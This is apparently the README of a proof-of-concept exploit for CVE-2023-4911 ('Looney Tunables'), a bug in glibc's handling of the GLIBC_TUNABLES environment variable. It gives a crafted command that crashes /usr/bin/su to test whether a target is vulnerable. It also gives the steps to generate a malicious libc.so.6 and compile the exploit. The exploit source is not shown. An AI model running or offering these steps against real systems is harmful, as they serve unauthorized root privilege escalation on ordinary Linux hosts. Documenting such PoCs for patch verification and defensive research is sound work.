PoC of CVE-2023-4911 Looney Tunables

This is a PoC of CVE-2023-4911 (a.k.a. "Looney Tunables") exploiting a bug in glibc dynamic loader's GLIBC_TUNABLES environment variable parsing function parse_tunables().

Getting Started

Executing program

• We can check if target is vulnerable

env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help

• If we get a Segmentation fault (core dumped) then we are dealing with a vulnerable target.

Executing program

• Create libc.so.6 file

python3 libc.py

• Compile exploit

gcc exp.c -o exp

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